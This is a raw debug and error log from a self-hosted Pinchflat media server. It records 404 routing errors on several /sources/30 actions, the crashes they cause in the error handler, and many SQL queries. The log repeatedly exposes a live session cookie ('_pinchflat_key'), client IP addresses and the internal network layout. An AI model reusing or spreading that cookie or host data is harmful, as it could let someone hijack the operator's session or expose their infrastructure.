"SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139245.0>, params: %{}, path_info: ["sources", "30", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "65.21.124.77"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "65.21.124.77"} ], request_path: "/sources/30/force_index", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXU0iZhp160jCMAAB7o"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139240.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/30/force_index", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48192}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 3, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/30/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139240.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/30/force_index", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48192}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 3, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, halted: false, host: "pinchflat.oca (truncated) 04:53:46.763 [debug] QUERY OK source="sources" db=0.7ms idle=13.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 04:53:46.764 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=15.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:53:46.765 [debug] QUERY OK source="tasks" db=0.4ms idle=15.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [30, "executing", "available", "scheduled", "retryable"] 04:53:46.766 [debug] QUERY OK source="oban_jobs" db=0.3ms idle=16.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7280] 04:53:46.767 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=16.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:46.768 [debug] QUERY OK source="settings" db=0.3ms idle=4.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:46.770 [debug] QUERY OK source="settings" db=0.3ms idle=4.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:46.773 [debug] QUERY OK source="sources" db=0.5ms idle=7.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 04:53:46.776 [debug] QUERY OK source="media_items" db=1.7ms idle=8.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [30] 04:53:46.780 [debug] QUERY OK source="media_items" db=3.1ms idle=9.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [30, 10, 0] 04:53:46.782 [debug] QUERY OK source="sources" db=0.8ms idle=13.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 04:53:46.784 [debug] QUERY OK source="media_items" db=0.5ms idle=13.3ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [30] 04:53:46.786 [debug] QUERY OK source="media_items" db=1.9ms idle=10.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [30, 10, 0] 04:53:46.789 [debug] QUERY OK source="sources" db=0.5ms idle=12.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 04:53:46.792 [debug] QUERY OK source="media_items" db=2.2ms idle=9.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [30] 04:53:46.796 [debug] QUERY OK source="media_items" db=3.2ms queue=0.1ms idle=10.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [30, 10, 0] 04:53:46.801 [info] Sent 200 in 40ms 04:53:46.889 [info] GET /sources/30/force_metadata_refresh 04:53:46.890 [info] GET /sources/30/sync_files_on_disk 04:53:46.891 [debug] QUERY OK source="settings" db=0.7ms idle=103.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:46.891 [debug] QUERY OK source="settings" db=0.4ms idle=101.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:46.892 [debug] QUERY OK source="settings" db=0.4ms idle=98.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:46.892 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:53:46.892 [debug] QUERY OK source="settings" db=0.3ms idle=95.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:46.893 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:53:46.900 [info] GET /sources/31/media/140859 04:53:46.900 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "140859", "source_id" => "31"} Pipelines: [:browser] 04:53:46.902 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=56.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [140859] 04:53:46.893 [error] #PID<0.139248.0> running PinchflatWeb.Endpoint (connection #PID<0.139236.0>, stream id 6) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /sources/30/force_metadata_refresh ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/30/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139236.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/30/force_metadata_refresh", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48184}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 6, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139248.0>, params: %{}, path_info: ["sources", "30", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "65.21.124.77"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "65.21.124.77"} ], request_path: "/sources/30/force_metadata_refresh", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXU0i7gxdK3Q8YAAB8I"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139236.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/30/force_metadata_refresh", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48184}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 6, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/30/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139236.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/30/force_metadata_refresh", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48184}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 6, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3 (truncated) 04:53:46.904 [info] GET /sources/31/media/140639/edit 04:53:46.904 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "140639", "source_id" => "31"} Pipelines: [:browser] 04:53:46.904 [debug] QUERY OK source="tasks" db=1.2ms idle=12.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [140859] 04:53:46.905 [debug] QUERY OK source="sources" db=1.4ms idle=11.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:53:46.894 [error] #PID<0.139249.0> running PinchflatWeb.Endpoint (connection #PID<0.139240.0>, stream id 4) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /sources/30/sync_files_on_disk ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/30/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139240.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/30/sync_files_on_disk", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48192}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => 